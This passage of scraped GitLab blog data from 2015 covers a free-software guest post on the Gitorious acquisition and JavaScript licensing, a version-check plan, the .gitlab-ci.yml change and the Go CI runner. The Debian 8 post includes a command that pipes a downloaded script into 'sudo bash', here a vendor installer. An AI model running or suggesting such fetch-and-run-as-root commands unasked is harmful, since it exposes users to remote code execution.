information.\n",{"slug":39729,"featured":6,"template":678},"security-advisory-for-logjam-vulnerability","content:en-us:blog:security-advisory-for-logjam-vulnerability.yml","Security Advisory For Logjam Vulnerability","en-us/blog/security-advisory-for-logjam-vulnerability.yml","en-us/blog/security-advisory-for-logjam-vulnerability",{"_path":39735,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39736,"content":39741,"config":39746,"_id":39748,"_type":16,"title":39749,"_source":17,"_file":39750,"_stem":39751,"_extension":20},"/en-us/blog/gitlab-gitorious-free-software",{"title":39737,"description":39738,"ogTitle":39737,"ogDescription":39738,"noIndex":6,"ogImage":12013,"ogUrl":39739,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39739,"schema":39740},"GitLab, Gitorious, and Free Software","This is a guest post by Mike Gerwitz, a free software hacker and activist, and author of GNU ease.js on the free software ideology","https://about.gitlab.com/blog/gitlab-gitorious-free-software","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab, Gitorious, and Free Software\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Gerwitz\"}],\n        \"datePublished\": \"2015-05-20\",\n      }",{"title":39737,"description":39738,"authors":39742,"heroImage":12013,"date":39744,"body":39745,"category":299},[39743],"Mike Gerwitz","2015-05-20","\n\n*This is a guest post by [Mike Gerwitz][11], a [free software][2] hacker and\n activist, and author of [GNU ease.js][24].*\n\nIn early March of this year, it was announced that\n[GitLab would acquire Gitorious][0] and shut down `gitorious.org` by 1\nJune, 2015.  [Reactions from the community][1] were mixed, and\nunderstandably so: while GitLab itself is a formidable alternative to wholly\nproprietary services, its acquisition of Gitorious strikes a chord with the\nfree software community that gathered around Gitorious in the name of\n[software freedom][2].\n\n\u003C!-- more -->\n\nAfter hearing that announcement,\n[as a free software hacker and activist myself][11], I was naturally\nuneasy.  Discussions of alternatives to Gitorious and GitLab ensued on the\n[`libreplanet-discuss`][12] mailing list.  Sytse Sijbrandij (GitLab\nB.V. CEO) happened to be present on that list;\n[I approached him very sternly][13] with a number of concerns, just as I\nwould with anyone that I feel does not understand certain aspects of the\n[free software philosophy][2].  To my surprise, this was not the case at\nall.\n\nSytse has spent a lot of time accepting and considering community input for\nboth the Gitorious acquisition and GitLab itself.  He has also worked with\nme to address some of the issues that I had raised.  And while these issues\nwon't address everyone's concerns, they do strengthen GitLab's commitment to\n[software freedom][2], and are commendable.\n\nI wish to share some of these details here; but to do so, I first have to\nprovide some background to explain what the issues are, and why they are\nimportant.\n\n\n## Free Software Ideology\n[Gitorious][3] was (and still is) one of the most popular Git repository\nhosts, and largely dominated until the introduction of GitHub.  But even as\nusers flocked to [GitHub's proprietary services][28], users who value freedom\ncontinued to support Gitorious, both on `gitorious.org` and by installing\ntheir own instances on their own servers.  Since Gitorious is\n[free software][2], users are free to study, modify, and share it with\nothers.  But [software freedom does not apply to Services as a\nSoftware Substitute (SaaSS)][4] or remote services---you cannot apply the\n[four freedoms][2] to something that you do not yourself possess---so why do\nusers still insist on using `gitorious.org` despite this?\n\nThe matter boils down to supporting a philosophy:  The\n[GNU General Public License (GPL)][6] is a license that turns copyright on\nits head: rather than using copyright to restrict what users can do with a\nprogram, the GPL instead [ensures users' freedoms][8] to study, modify, and\nshare it.  But that isn't itself enough: to ensure that the software always\nremains free (as in freedom), the GPL ensures that all *derivatives* are\n*also* licensed under similar terms.  This is known as [copyleft][9], and it\nis vital to the free software movement.\n\nGitorious is licensed under the\n[GNU Affero General Public License Version 3 (AGPLv3)][5]---this takes the\n[GPL][6] and adds an additional requirement: if a modified version of the\nprogram is run on a sever, users communicating with the program on that\nserver must have access to the modified program's source code.  This ensures\nthat [modifications to the program are available to all users][7]; they\nwould otherwise be hidden in private behind the server, with others unable\nto incorporate, study, or share them.  The AGPLv3 is an ideal license for\nGitorious, since most of its users will only ever interact with it over a\nnetwork.\n\nGitLab is also free software: its [Expat license][10] (commonly referred to\nambiguously as the \"MIT license\") permits all of the same freedoms that\nare granted under the GNU GPL.  But it does so in a way that is highly\npermissive: it permits relicensing under *any* terms, free or not.  In other\nwords, one can fork GitLab and derive a proprietary version from it, making\nchanges that deny users [their freedoms][2] and cannot be incorporated back\ninto the original work.\n\nThis is the issue that the free software community surrounding Gitorious has\na problem with: any changes contributed to GitLab could in turn benefit a\nproprietary derivative.  This situation isn't unique to GitLab: it applies\nto all non-copyleft (\"permissive\") [free software licenses][26].  And this\nissue is realized by GitLab itself in the form of its GitLab Enterprise\nEdition (GitLab EE): a proprietary derivative that adds additional\nfeatures atop of GitLab's free Community Edition (CE).  For this reason,\nmany free software advocates are uncomfortable contributing to GitLab, and\nfeel that they should instead support other projects; this, in turn, means\nnot supporting GitLab by using and drawing attention to their hosting\nservices.\n\nThe copyleft vs. permissive licensing debate is one of the free software\nmovement's most heated.  I do not wish to get into such a debate here.  One\nthing is clear: GitLab Community Edition (GitLab CE) is free\nsoftware.  Richard Stallman (RMS) [responded directly to the thread on\n`libreplanet-discuss`][20], stating plainly:\n\n>  We have a simple way of looking at these two versions.  The free\n>  version is free software, so it is ethical.  The nonfree version is\n>  nonfree software, so it is not ethical.\n\nDoes GitLab CE deserve attention from the free software community?  I\nbelieve so.  Importantly, there is another strong consideration: displacing\nproprietary services like GitHub and Bitbucket, which host a large number of\nprojects and users.  GitLab has a strong foothold, which is an excellent\nplace for a free software project to be in.\n\nIf we are to work together as a community, we need to respect GitLab's\nfree licensing choices just as we expect GitLab to respect ours.  Providing\nrespect does not mean that you are conceding: I will never personally use a\nnon-copyleft license for my software; I'm firmly rooted in my dedication to\nthe [free software philosophy][2], and I'm sure that many other readers are\ntoo.  But using a non-copyleft license, although many of us consider it to\nbe a weaker alternative, [is not wrong][23].\n\n\n## Free JavaScript\nAs I mentioned above,\n[software freedom and network services are separate issues][4]---the four\nfreedoms do not apply to interacting with `gitlab.com` purely over a network\nconnection, for example, because you are not running its software on your\ncomputer.  However, there is an overlap: JavaScript code downloaded to be\nexecuted in your web browser.\n\n[Non-free JavaScript][15] is a particularly nasty concern: it is software\nthat is downloaded automatically from a server---often without prompting\nyou---and then immediately executed.  Software is now being executed on your\nmachine, and [your four freedoms][2] are once again at risk.  This, then,\n[is the primary concern][16] for any users visiting `gitlab.com`: not only\nwould this affect users that use `gitlab.com` as a host, but it would also\naffect *any user that visits* the website.  That would be a problem, since\nhosting your project there would be inviting users to run proprietary\nJavaScript.\n\nAs I was considering migrating my projects to GitLab, this was the\n[first concern I brought up to Sytse][14].  This problem arises because\n`gitlab.com` uses a GitLab EE instance: if it had used only its Community\nEdition (GitLab CE)---which is free software---then all served JavaScript\nwould have been free.  But any scripts served by GitLab EE that are not\nidentical to those served by GitLab CE are proprietary, and therefore\nunethical.  This same concern applies to GitHub, Bitbucket, and other\nproprietary hosts that serve JavaScript.\n\nSytse surprised me by stating that he would be willing to\n[freely license all JavaScript in GitLab EE][17], and by offering to give\nanyone access to the GitLab EE source code who wants to help out.  I took\nhim up on that offer.  Initially, I had submitted a patch to merge all\nGitLab EE JavaScript into GitLab CE, but Sytse came up with another,\nsuperior suggestion, that ultimately provided even greater reach.\n\n**I'm pleased to announce that Sytse and I were able to agree on a license\nchange (with absolutely no friction or hesitation on his part) that\nliberates all JavaScript served to the client from GitLab EE instances.**\nThere are two concerns that I had wanted to address: JavaScript code\ndirectly written for the client, and any code that produced JavaScript as\noutput.  In the former case, this includes JavaScript derived from other\nsources: for example, GitLab uses CoffeeScript, which compiles *into*\nJavaScript.  The latter case is important: if there is any code that\ngenerates fragments of JavaScript---e.g. dynamically at runtime---then that\ncode must also be free, or users would not be able to modify and share the\nresulting JavaScript that is actually being run on the client.  Sytse\naccepted my change verbatim, while adding his own sentence after mine to\ndisambiguate.  At the time of writing this post, GitLab EE's source code\nisn't yet publicly visible, so here is the relevant snippet from its\n`LICENSE` file:\n\n> The above copyright notices applies only to the part of this Software that\n> is not distributed as part of GitLab Community Edition (CE), and that is\n> not a file that produces client-side JavaScript, in whole or in part. Any\n> part of this Software distributed as part of GitLab CE or that is a file\n> that produces client-side JavaScript, in whole or in part, is copyrighted\n> under the MIT Expat license.\n\n## Further Discussion\nMy discussions with Sytse did not end there: there are other topics that\nhave not been able to be addressed before my writing of this post that would\ndo well to demonstrate commitment toward [software freedom][2].\n\nThe license change liberating client-side JavaScript was an excellent\nmove.  To expand upon it, I wish to submit a patch that would make GitLab\n[LibreJS compliant][21]; this provides even greater guarantees, since it\nwould allow for users to continue to block other non-free JavaScript that\nmay be served by the GitLab instance, but not produced by it.  For example:\na website/host that uses GitLab may embed proprietary JavaScript, or modify\nit without releasing the source code.  Another common issue is the user of\nanalytics software; `gitlab.com` uses Google Analytics.\n\nIf you would like to help with LibreJS compliance, please [contact me][11].\n\nI was brought into another discussion between Sytse and RMS that is\nunrelated to the GitLab software itself, but still a positive demonstration\nof a commitment to [software freedom][2]---the replacement of Disqus on the\n`gitlab.com` blog with a free alternative.  Sytse ended up making a\nsuggestion, saying he'd be \"happy to switch to\" [Juvia][22] if I'd help with\nthe migration.  I'm looking forward to this, as it is an important\ndiscussion area (that I honestly didn't know existed until Sytse told me\nabout it, because I don't permit proprietary JavaScript!).  He was even kind\nenough to compile a PDF of comments for one of our discussions, since he was\ncognizant ahead of time that I would not want to use Disqus.  (Indeed, I\nwill be unable to read and participate in the comments to this guest post\nunless I take the time to freely read and reply without running Disqus'\nproprietary JavaScript.)\n\nConsidering the genuine interest and concern expressed by Sytse in working\nwith myself and the free software community, I can only expect that GitLab\nwill continue to accept and apply community input.\n\n\n## Actions Speak Louder Than Words\nIt is not possible to address the copyleft issue without a change in\nlicense, which GitLab is not interested in doing.  So the best way to\nre-assure the community is through action.  [To quote Sytse][18]:\n\n> I think the only way to prove we're serious about open source is in our\n> actions, licenses or statements don't help.\n\nThere are fundamental disagreements that will not be able to be\nresolved between GitLab and the free software community---like their\n[\"open core\" business model][19].  But after working with Sytse and seeing\nhis interactions with myself, RMS, and many others in the free software\ncommunity, I find his actions to be very encouraging.\n\n*Are you interested in helping other websites liberate their JavaScript?\n Consider [joining the FSF's campaign][27], and\n [please liberate your own][16]!*\n\n*This post is licensed under the\n [Creative Commons Attribution-ShareAlike 3.0 Unported License][25].*\n\n\n[0]: /blog/gitlab-acquires-gitorious/\n[1]: https://news.ycombinator.com/item?id=9138419\n[2]: https://www.gnu.org/philosophy/free-sw.html\n[3]: https://gitorious.org/\n[4]: https://www.gnu.org/philosophy/who-does-that-server-really-serve.html\n[5]: https://www.gnu.org/licenses/agpl.html\n[6]: https://www.gnu.org/licenses/gpl.html\n[7]: https://www.gnu.org/licenses/why-affero-gpl.html\n[8]: https://www.gnu.org/licenses/quick-guide-gplv3.html\n[9]: https://www.gnu.org/philosophy/pragmatic.html\n[10]: https://www.gnu.org/licenses/license-list.html#Expat\n[11]: http://mikegerwitz.com/\n[12]: https://lists.gnu.org/mailman/listinfo/libreplanet-discuss\n[13]: https://lists.gnu.org/archive/html/libreplanet-discuss/2015-03/msg00075.html\n[14]: https://lists.gnu.org/archive/html/libreplanet-discuss/2015-04/msg00019.html\n[15]: https://www.gnu.org/philosophy/javascript-trap.html\n[16]: https://www.gnu.org/software/easejs/whyfreejs.html\n[17]: https://lists.gnu.org/archive/html/libreplanet-discuss/2015-04/msg00020.html\n[18]: https://news.ycombinator.com/item?id=9141801\n[19]: https://lists.gnu.org/archive/html/libreplanet-discuss/2015-03/msg00076.html\n[20]: https://lists.gnu.org/archive/html/libreplanet-discuss/2015-03/msg00095.html\n[21]: https://www.gnu.org/software/librejs/free-your-javascript.html\n[22]: https://github.com/phusion/juvia\n[23]: https://www.fsf.org/blogs/rms/selling-exceptions\n[24]: https://gnu.org/software/easejs\n[25]: http://creativecommons.org/licenses/by-sa/3.0/\n[26]: https://www.gnu.org/licenses/license-list.html\n[27]: https://fsf.org/campaigns/freejs\n[28]: http://mikegerwitz.com/about/githubbub\n",{"slug":39747,"featured":6,"template":678},"gitlab-gitorious-free-software","content:en-us:blog:gitlab-gitorious-free-software.yml","Gitlab Gitorious Free Software","en-us/blog/gitlab-gitorious-free-software.yml","en-us/blog/gitlab-gitorious-free-software",{"_path":39753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39754,"content":39759,"config":39763,"_id":39765,"_type":16,"title":39766,"_source":17,"_file":39767,"_stem":39768,"_extension":20},"/en-us/blog/version-check",{"title":39755,"description":39756,"ogTitle":39755,"ogDescription":39756,"noIndex":6,"ogImage":12013,"ogUrl":39757,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39757,"schema":39758},"Version Check Functionality","We're working on a version check function for GitLab to reduce the problem of outdated servers which can be a security problem and provide a bad user experience","https://about.gitlab.com/blog/version-check","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Version Check Functionality\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-05-07\",\n      }",{"title":39755,"description":39756,"authors":39760,"heroImage":12013,"date":39761,"body":39762,"category":734},[3532],"2015-05-07","\n\nWe're working on a version check function for GitLab to reduce the problem of outdated servers.\nThese servers are a security problem, provide a bad user experience and\nlead to issues being created with problems that have already been solved.\nBy making outdated installations visible to its users we hope that people will upgrade sooner.\n\n\u003C!--more-->\n\n## How it'll work\n\nThe version check will work in the following way. The `/help` page of GitLab will\nload an image from _version.gitlab.com_. This image will show green for an\nup to date version, yellow for an out of date version and red for a missing security update.\n\n![No update necessary](https://about.gitlab.com/images/version_check/green.png)\n![New version out!](https://about.gitlab.com/images/version_check/orange.png)\n![Update ASAP](https://about.gitlab.com/images/version_check/red.png)\n\nThe image requests parameters requests will contain the GitLab version and the server hostname.\nWe'll store each request with a timestamp, the GitLab version and the server hostname.\nWe will not store the user ip-address.\n\nWe will send the server hostname to have more information about where and how GitLab is used.\nLoading external images is similar to how the gravatar images of users are used.\n\n### Opt-out\n\nJust like the gravatar images you will be able to turn off the functionality\nif you don't want your GitLab server to connect outside the firewall.\nThe version check functionality can be disabled in the application settings.\n\n## Trade-off\n\nProviding the new package server and the version check server requires\nconstant maintenance and operational capacity.\nGetting better insight into where and how GitLab is used\nwill help us improve GitLab for everyone.\n\nWe realize that it sending the server\nhostname by default is not a trivial action and not everyone will be happy about this.\nWe think that ensuring the sustainability of GitLab package server and\nversion check services makes it a good trade-off.\nThere will always be an option to turn this behavior off.\n\nPlease let us know what you think about the above plan in the comments.\n\n## Update\n\nWe decided against sending the hostname in the url of the picture request.\nBut the https picture request itself will have a HTTP referer header.\nWe can use that to see where and how GitLab is used.\nWe will still not store the ip-address of the requests.",{"slug":39764,"featured":6,"template":678},"version-check","content:en-us:blog:version-check.yml","Version Check","en-us/blog/version-check.yml","en-us/blog/version-check",{"_path":39770,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39771,"content":39777,"config":39781,"_id":39783,"_type":16,"title":39784,"_source":17,"_file":39785,"_stem":39786,"_extension":20},"/en-us/blog/why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml",{"title":39772,"description":39773,"ogTitle":39772,"ogDescription":39773,"noIndex":6,"ogImage":39774,"ogUrl":39775,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39775,"schema":39776},"Why we're replacing GitLab CI jobs with .gitlab-ci.yml","Every single GitLab installation ships with a powerful continuous integration tool: GitLab CI. Read how to enable it in 2 minutes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684407/Blog/Hero%20Images/ci-yml.jpg","https://about.gitlab.com/blog/why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we're replacing GitLab CI jobs with .gitlab-ci.yml\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-05-06\",\n      }",{"title":39772,"description":39773,"authors":39778,"heroImage":39774,"date":39779,"body":39780,"category":299},[36660],"2015-05-06","\n\nIn case you didn't know yet: Every single GitLab installation\nships with a powerful [continuous integration tool](/solutions/continuous-integration/): GitLab CI.\nRead how to [enable it in 2 minutes](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/doc/gitlab-ci/README.md#getting-started).\nWith GitLab CI you can run tests of your projects and triggers\nbuilds and deployments easily,\nas it integrates deeply with GitLab.\n\nUp until now, to set up the build / deploy commands you had to\ngo into GitLab CI and edit the scripts in a form. This made\nit very low-threshold to set up, but it felt lacking.\n\nWe're glad to tell you we'll get a better solution built on the principles and libraries of [Travis CI](https://www.travis-ci.org):\n`.gitlab-ci.yml`.\n\n\u003C!--more-->\n\nInstead of editing a form, in the future you will be able to\nadd a `.gitlab-ci.yml` file to your repository in which you\ncan specify your builds for GitLab CI.\nThis has some major (positive) repercussions for GitLab CI\nbuilds:\n\n#### 1. Version controlled\n\nCurrently, the script is just a single field in a form:\n![current setup of scripts](https://about.gitlab.com/images/ci-yml/jobs_old.png)\n\nThis means you get none of the advantages of git: no [version control](/topics/version-control/).\nBy moving this into the repository you get all the power of git and GitLab.\n\n#### 2. Builds for older versions\n\nHaving the job script live outside of the repository means that it will be the\nsame for every commit. That means that any change to the script will influence\nthe build for any commit, even if you are working on older branches / commits\nthat could be incompatible with the new build script.\n\nBy putting the build in the repository, your older commits can still be tested\nby an older version of the build script, while newer work can safely make changes\nto the build.\n\n#### 3. Build Forks\n\nForking a project with the latest version of GitLab CI will also copy the contents\nof the jobs settings, making it possible to build tests with your fork.\nHowever, this only works if the project and fork have the same owner and able\nto use the same runners.\n\nWith the script in the repository this makes this process a lot more transparent.\nOn top of that, a fork can easily add dependencies to its `.gitlab-ci.yml` file.\n\n#### 4. Different builds for different branches\n\nAt the moment you can't easily run different scripts for different branches.\n\nBy moving the script to the repository this opens up a whole new world of\nspecific builds for certain branches. For instance, you could set up your\ntime-intense integration tests to only run on pushes to your `production` branch\n- and on success, deploy your code immediately.\n\n#### 5. Single Source of Truth\n\nCurrently, only people with `master` access or higher to the project in GitLab\nare able to view and edit the `job settings` in GitLab CI. That makes it hard\nto see what is happening for all other developers.\n\nWith a single file in the repository, everyone with read access can see the contents,\nmaking it much more inviting to improve and review the build scripts.\n\n#### 6. Build matrices\n\nCurrently you can define multiple jobs, but you have to define each one yourself.\n\nIf you have multiple versions of the programming language, multiple environments and\nmultiple lists of dependencies, you end up making a job for each.\n\nWith `.gitlab-ci.yml` you will be able to run _build matrices_, where these jobs are\ngenerated for you. If you define each of the dimensions, the combinations\nwill be generated. This makes it easier to set up complex\ntest suites that require this.\n\n### Current jobs\n\nYour current job can be run by putting your\n`job.sh` in the root of the repo and referencing that in your\n.gitlab-ci.yml: `script:./job.sh`.\n\n## Where we got our inspiration\n\nThe awesome [Travis CI](https://travis-ci.org/) had the great\nidea to use a `.yml` file for builds and was followed\nby the popular [CircleCI](https://circleci.com). We're happy\nto follow this approach, which we believe is superior than\nany other. Jenkins jobs, for instance, do not solve the problems mentioned\nin the introduction.\n\nAs usual, our amazing community was already fully aware of this\nand we've seen demand for this on our [feedback page](http://feedback.gitlab.com/forums/176466-general/suggestions/5591851-store-build-configuration-in-the-repo-like-travi)\nand even [implementations](https://github.com/claudyus/ci-yml) for this!\n\nWe'll be using some of the great [Travis CI projects](https://github.com/travis-ci/travis-ci) that are freely available to build this.\n\n## Ships with GitLab 8.0\n\nThis change will deprecate the existing jobs, as we want to keep\nGitLab CI simple to use and develop for.\nMultiple ways of doing things is\nconfusing for new users, it makes documentation much harder and complicates\ndevelopment and debugging.\n\nThat means it is also a breaking change for anyone using\nGitLab CI. For this reason we will only introduce this\nchange with GitLab 8.0.\n\nWe're not sure yet after which minor version we'll release GitLab 8.0 (7.11, 7.12 or later).\n\nFollow the progress in the [GitLab CI repository](https://gitlab.com/gitlab-org/gitlab-ci).\n",{"slug":39782,"featured":6,"template":678},"why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml","content:en-us:blog:why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml.yml","Why Were Replacing Gitlab Ci Jobs With Gitlab Ci Dot Yml","en-us/blog/why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml.yml","en-us/blog/why-were-replacing-gitlab-ci-jobs-with-gitlab-ci-dot-yml",{"_path":39788,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39789,"content":39794,"config":39798,"_id":39800,"_type":16,"title":39801,"_source":17,"_file":39802,"_stem":39803,"_extension":20},"/en-us/blog/unofficial-runner-becomes-official",{"title":39790,"description":39791,"ogTitle":39790,"ogDescription":39791,"noIndex":6,"ogImage":12013,"ogUrl":39792,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39792,"schema":39793},"Unofficial runner becomes official one","This blog post about he alternative CI runner written in Go that can be easily run on any server with support for all latest technologies, including Docker.","https://about.gitlab.com/blog/unofficial-runner-becomes-official","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unofficial runner becomes official one\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kamil Trzciński\"}],\n        \"datePublished\": \"2015-05-03\",\n      }",{"title":39790,"description":39791,"authors":39795,"heroImage":12013,"date":39796,"body":39797,"category":299},[38489],"2015-05-03","\n\nNot long time ago I built and wrote about the alternative CI runner written in Go. The single binary that can be easily run on any server with support for all latest technologies, including Docker. If you are interested here's blog post about it: [Unofficial GitLab Runner](/blog/unofficial-gitlab-ci-runner/). With great help of the community involved in testing today the runner becomes the official one, making the [old one](https://gitlab.com/gitlab-org/gitlab-ci-runner) written in Ruby deprecated.\n\n\u003C!-- more -->\n\n## Should I migrate?\n\nIf everything works for you on the old runner, there's no need to install the Go runner unless you need some of it's specific features, like: multiple concurrent jobs or Docker support.\n\n## How to get started?\n\nEverything related to **GitLab CI Multi-purpose Runner** was moved to the official repository: [GitLab.com/gitlab-org/gitlab-ci-multi-runner](https://gitlab.com/gitlab-org/gitlab-runner/). On the official page you will be able to find a project documentation with example setups that will help you build your projects. If you have any ideas or problems please let us know by creating an issue: [Issues](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/issues). We also always happy to accept contributions: [Merge Request](https://gitlab.com/gitlab-org/gitlab-ci-multi-runner/merge_requests).\n\n## How to install?\n\nThis is really simple:\n\n* [Install using Debian/Ubuntu/CentOS/RedHat package](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/linux-repository.md)\n* [Install on macOS](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/osx.md)\n* [Install on Windows](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/windows.md)\n* [Install as Docker Service](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/docker.md)\n\n## How to use it?\n\n```bash\n$ cd ~gitlab_ci_multi_runner\n$ gitlab-ci-multi-runner register\n```\n\nYou will be asked about how it should be configured. Once you do it you are pretty much ready to build projects.\n\n## Final word\n\nI'm also happy to join [GitLab Core Team](/community/core-team/). I guess that my role there will be to make this project better and better and to make the CI solution simpler and more robust.\n",{"slug":39799,"featured":6,"template":678},"unofficial-runner-becomes-official","content:en-us:blog:unofficial-runner-becomes-official.yml","Unofficial Runner Becomes Official","en-us/blog/unofficial-runner-becomes-official.yml","en-us/blog/unofficial-runner-becomes-official",{"_path":39805,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39806,"content":39811,"config":39815,"_id":39817,"_type":16,"title":39818,"_source":17,"_file":39819,"_stem":39820,"_extension":20},"/en-us/blog/gitlab-on-debian-8",{"title":39807,"description":39808,"ogTitle":39807,"ogDescription":39808,"noIndex":6,"ogImage":12013,"ogUrl":39809,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39809,"schema":39810},"GitLab on Debian 8","From now on, GitLab Omnibus packages for Debian 8 will be available with every release. Learn more here!","https://about.gitlab.com/blog/gitlab-on-debian-8","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab on Debian 8\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-05-01\",\n      }",{"title":39807,"description":39808,"authors":39812,"heroImage":12013,"date":39813,"body":39814,"category":299},[36660],"2015-05-01","\n\nDebian is among the most popular platforms to run GitLab on.\nWith the stable [release](https://www.debian.org/News/2015/20150426) of Debian 8,\nwe wanted to make sure that early-adopters could run GitLab on their new machines.\n\nSo from now on, GitLab Omnibus packages for Debian 8 will be available with every\nrelease, find them on our [downloads page](/install/).\n\nAnd don't forget that we're running our package server in beta with the help\nof [Packagecloud.io](https://www.packagecloud.io). You can install GitLab Community Edition with:\n\n```\ncurl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb | sudo bash\nsudo apt-get install gitlab-ce\n```\n",{"slug":39816,"featured":6,"template":678},"gitlab-on-debian-8","content:en-us:blog:gitlab-on-debian-8.yml","Gitlab On Debian 8","en-us/blog/gitlab-on-debian-8.yml","en-us/blog/gitlab-on-debian-8",{"_path":39822,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39823,"content":39828,"config":39832,"_id":39834,"_type":16,"title":39835,"_source":17,"_file":39836,"_stem":39837,"_extension":20},"/en-us/blog/unofficial-gitlab-ci-runner",{"title":39824,"description":39825,"ogTitle":39824,"ogDescription":39825,"noIndex":6,"ogImage":12013,"ogUrl":39826,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39826,"schema":39827},"Unofficial GitLab CI Runner","GitLab CI Multi-purpose Runner is yet another CI runner, but this time written in Go with a vast number of features that leverage all the latest technologies.","https://about.gitlab.com/blog/unofficial-gitlab-ci-runner","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unofficial GitLab CI Runner\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kamil Trzciński\"}],\n        \"datePublished\": \"2015-04-17\",\n      }",{"title":39824,"description":39825,"authors":39829,"heroImage":12013,"date":39830,"body":39831,"category":734},[38489],"2015-04-17","\n\n[GitLab CI Multi-purpose Runner](https://gitlab.com/gitlab-org/gitlab-runner) is yet another CI runner, but this time written in Go with a vast number of features that leverage all the latest technologies. It's an unofficial project made by me, Kamil Trzciński, with love for GitLab CI to help aid some problems with current runner and make the use of CI really simple and secure.\n\n\u003C!-- more -->\n\n## Why it was created?\n\nI created that project, because I needed a runner that allows to use virtualization technology (Docker and Parallels for macOS) to build our ([Polidea](https://www.polidea.com/)) projects. The main reason is that the official GitLab-CI-Runner is a very simple application written in Ruby, but works well in quite basic setups. You can think of it as a reference implementation of what a bare runner can look like. It's distributed as source code or as a simple omnibus package to install on one of the supported Linux distributions. However, there are some areas where that makes it quite hard to use:\n\n* The runner can only run one concurrent at a time. If you want to run more either you set up a new server or create an additional user to build the jobs.\n* What is important is that the official runner always runs projects on the server shell. This makes it really hard to test projects using different versions of Ruby or any other dependencies. It also makes the build environment dirty and builds are not really 100% reliable. This collides with a recent approach to always have a clean build environment.\n* The runner works only on Linux-based platforms and it's not really an easy task to make the runner a service that is run at system start. Additional hacks are required to make it run on macOS. There is no support for Windows. \n* It's quite hard to set up the next server with all dependencies required to build project.\n* It's quite hard to perform some administrative tasks with the official runner.\n\n## Why do I need it?\n\nThe Gitlab-CI Multi-purpose Runner is one binary that you can put on your machine of any kind. It is really easy to set up as a service and can work with multiple projects and multiple GitLab CI coordinators. With support for Docker it makes it really easy to set up build environment with different versions of packages. \n\n## How to install?\n\nIt's really simple. There's a multiple ways to install GitLab-CI Multi-purpose Runner:\n\n* [Install using Debian/Ubuntu/CentOS/RedHat package](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/linux-repository.md)\n* [Install on macOS](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/osx.md)\n* [Install on Windows](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/windows.md)\n* [Install as Docker Service](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/docker.md)\n\n## How to use it?\n\n```bash\n$ cd ~gitlab_ci_multi_runner\n$ gitlab-ci-multi-runner register\n```\n\nYou will be asked about how it should be configured. Once you do it you are pretty much ready to build projects.\n\n## Maybe use Docker?\n\nYou can also use Docker to create runner with specific dependencies. What is important that every time your project is built it will be run in clean environment without any leftovers from previous builds. With this simple commands below you don't have to install any dependencies, because Docker will download everything required to run your tests.\n\n```bash\n$ cd ~gitlab_ci_multi_runner\n$ gitlab-ci-multi-runner register \\\n  --non-interactive \\\n  --url \"https://ci.gitlab.com/\" \\\n  --registration-token \"REGISTRATION_TOKEN\" \\\n  --description \"Ruby 2.1 with MySQL\" \\\n  --executor \"docker\" \\\n  --docker-image ruby:2.1 --docker-mysql latest\n\n$ gitlab-ci-multi-runner register \\\n  --non-interactive \\\n  --url \"https://ci.gitlab.com/\" \\\n  --registration-token \"REGISTRATION_TOKEN\" \\\n  --description \"Python 3.4 with MySQL\" \\\n  --executor \"docker\" \\\n  --docker-image python:3.4 --docker-mysql latest\n```\n\nThe exemplary integrations for GitLab CE and GitLab CI can be found here:\n\n* [Integrate GitLab CE](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/examples/gitlab.md)\n* [Integrate GitLab CI](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/examples/gitlab-ci.md)\n\n## Why Go?\n\nGo is pretty young language already used by same major brands (Docker). It's proven to be stable, well supported with pretty rich library. However the most important thing is that Go compiler can produce single binary without any dependencies for Linux, macOS, FreeBSD, NetBSD, OpenBSD, Plan 9 and Microsoft Windows and the i386, amd64, ARM and IBM POWER processor architectures. The binary is of reasonable size (around 10MB in case of 